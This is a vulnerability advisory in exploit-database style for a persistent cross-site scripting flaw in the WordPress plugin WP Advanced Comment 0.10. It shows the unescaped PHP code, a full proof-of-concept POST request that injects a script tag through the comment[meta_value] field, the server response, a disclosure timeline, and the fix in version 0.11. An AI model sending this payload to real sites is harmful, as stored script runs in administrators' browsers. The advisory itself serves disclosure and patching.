1. Introduction


# Exploit Title: WordPress WP Advanced Comment 0.10 Persistent XSS 
# Date: Mar.09.2016 
# Exploit Author: Mohammad Khaleghi 
# Contact: https://twitter.com/_blackmatrix 
# Vendor: Ravi Shakya 
# Tested On: Apache2.2 / PHP5 / Kali 64 / WordPress 4.4.1 
# Category: Webapps 
# Software Link: https://wordpress.org/support/plugin/wp-advance-comment 



2. Description

WP Advanced Comment 0.10 plugin does not have XSS protection, which means that an attacker can change the POST request , value of " name="comment[meta_value]" " parameter , it's not escaped . XSS is visible for admin

File : wp-content\plugins\wp-advance-comment\shortcodes\comment-form.php


<!-- Show Comments -->

<?php

	if( $option[$id]['other']['comment_position'] == 1 ){

		echo $this->show_like_dislike_button( $value['comment_ID'] , 
		$option[$id]['other'] , 'top' );

		echo '<p>'.$value['comment_content'].'</p>';

		echo $this->show_like_dislike_button( $value['comment_ID'] , 
		$option[$id]['other'] , 'bottom' );

}?>

<!-- Get the comment meta --> 	

<?php

	$data = get_option( 'wpad_comment_form' );

	if( !empty( $data[$id] ) ): 
?>

<div class="wpad_comment_meta">
	 <ul>
	  <?php
	  foreach( $data[$id] as $key => $value1 ){
	  $show_admin = isset($value1['show_admin']) ? 
	  $value1['show_admin'] : 0; $privelage = $this->check_administrator( $show_admin );
 
     	  if ( !empty( $value1['meta_key'] ) && is_numeric( $key ) && $value1['meta_key'] != 'user_name' && $value1
 	       ['meta_key'] != 'user_email' && $value1['custom_field'] != 'user_image' && 
	       $value1['meta_key'] != 'wpad_comment' && $privelage == true )  {

	       $meta_key = $value1['meta_key'];
	       $label = $value1['label'];

	       $meta_value = get_comment_meta( $value['comment_ID'] , 
	       $meta_key , true ); if( !empty( $meta_value ) ) {

		if( $value1['custom_field'] == 'radio' ) {

			$radio_value = $this->get_corresponding_metakey( $value1 , $meta_value , 'radio' ); 
			$this->display_comment_metas_frontend( $label , $radio_value );
			} 
			elseif ( $value1['custom_field'] == 'checkbox' ) {

			   $check_value = $this->get_corresponding_metakey( $value1 , $meta_value , 'checkbox');	
			   $this->display_comment_metas_frontend( $label , $check_value ); } 
			else {
   			    $this->display_comment_metas_frontend( $label , $meta_value );
		  	       }

			}
		}
	}

	?>
	</ul>
            </div>

<?php endif; ?>

<!-- Show Comments -->
 

3. Proof of Concept

Request :
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Host=127.0.0.1:8080
User-Agent=Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
Accept=*/*
X-Requested-With=XMLHttpRequest
Referer=http://127.0.0.1:8080/wordpress/2016/02/02/hello-world/
Content-Length=1399
Content-Type=multipart/form-data;
boundary=---------------------------23741051518289624461916684164

Cookie=wordpress_5bd7a9c61cda6e66fc921a05bc80ee93=bourne %7C1455436892%7CVRgNbhd39pxXUlNXcCTkDnTbZTCudBIJlfSocx8yFWh %7C5a52d446b3c1782856a5021a38e5b1431297eca6fa81946694ebfdf305 994a84; wordpress_72672e10a1f0c9288ac55a4f4fc9805d=bourne %7C1455962074%7C0QblET9IPqz4apEnQsVq0WOUr7oY1EU25wIcKVKF4sY %7Cfeedc6beb6fc4d7fc7719fd1e45666b270f598a8294df146742750fd43 2ca5b3; wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93=bourne %7C1455436892%7CVRgNbhd39pxXUlNXcCTkDnTbZTCudBIJlfSocx8yFWh %7C80f4e9b382b8b316ba8967a1651ea91cecc45300c13c754f528a17ade8 475032; wp-settings-time-1=1454782581; wp-settings-time-2=1454752438; wordpress_logged_in_72672e10a1f0c9288ac55a4f4fc9805d=bourne %7C1455962074%7C0QblET9IPqz4apEnQsVq0WOUr7oY1EU25wIcKVKF4sY %7C8ff14befe34a2a5f1c4c6d93123e6afce4af2c43272a0351f2ce9b1499 1c180f; wordpress_test_cookie=WP+Cookie+check

Connection=keep-alive
Pragma=no-cache
Cache-Control=no-cache

POSTDATA =-----------------------------23741051518289624461916684164

Content-Disposition: form-data; name="action"

wpad_save_comment

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23741051518289624461916684164 Content-Disposition: form-data; name="post_id"
 

1

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23741051518289624461916684164 Content-Disposition: form-data; name="form_id"

417

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23741051518289624461916684164 Content-Disposition: form-data; name="email_me_on_approve"

undefined

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23741051518289624461916684164 Content-Disposition: form-data; name="user_name[meta_value]"

bourne

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23741051518289624461916684164 Content-Disposition: form-data; name="user_name[meta_key]"

user_name

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23741051518289624461916684164 Content-Disposition: form-data; name="user_email[meta_value]"

jason_bourne110@yahoo.com

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23741051518289624461916684164 Content-Disposition: form-data; name="user_email[meta_key]"

user_email

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23741051518289624461916684164 Content-Disposition: form-data; name="comment[meta_value]"

Hack <script>alert("Hacked")</script>

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23741051518289624461916684164 Content-Disposition: form-data; name="comment[meta_key]"

comment

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23741051518289624461916684164--
 

Response
______________________________________________________________________

Status=OK - 200
Date=Sat, 06 Feb 2016 18:18:43 GMT 
Server=Apache X-Frame-Options=SAMEORIGIN, SAMEORIGIN X-Powered-By=PHP/5.5.29 X-Robots-Tag=noindex x-content-type-options=nosniff Expires=Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control=no-cache, must-revalidate, max-age=0 Pragma=no-cache
Content-Length=7 
Keep-Alive=timeout=5, max=100 
Connection=Keep-Alive 
Content-Type=text/html; charset=UTF-8



4. Report Timeline

09-03-2016 : Discovered
09-03-2016 : Vendor notified
09-03-2016 : Vendor Responded 
09-03-2016 : Vendor fixed the problem


5. Solution

Update to version 0.11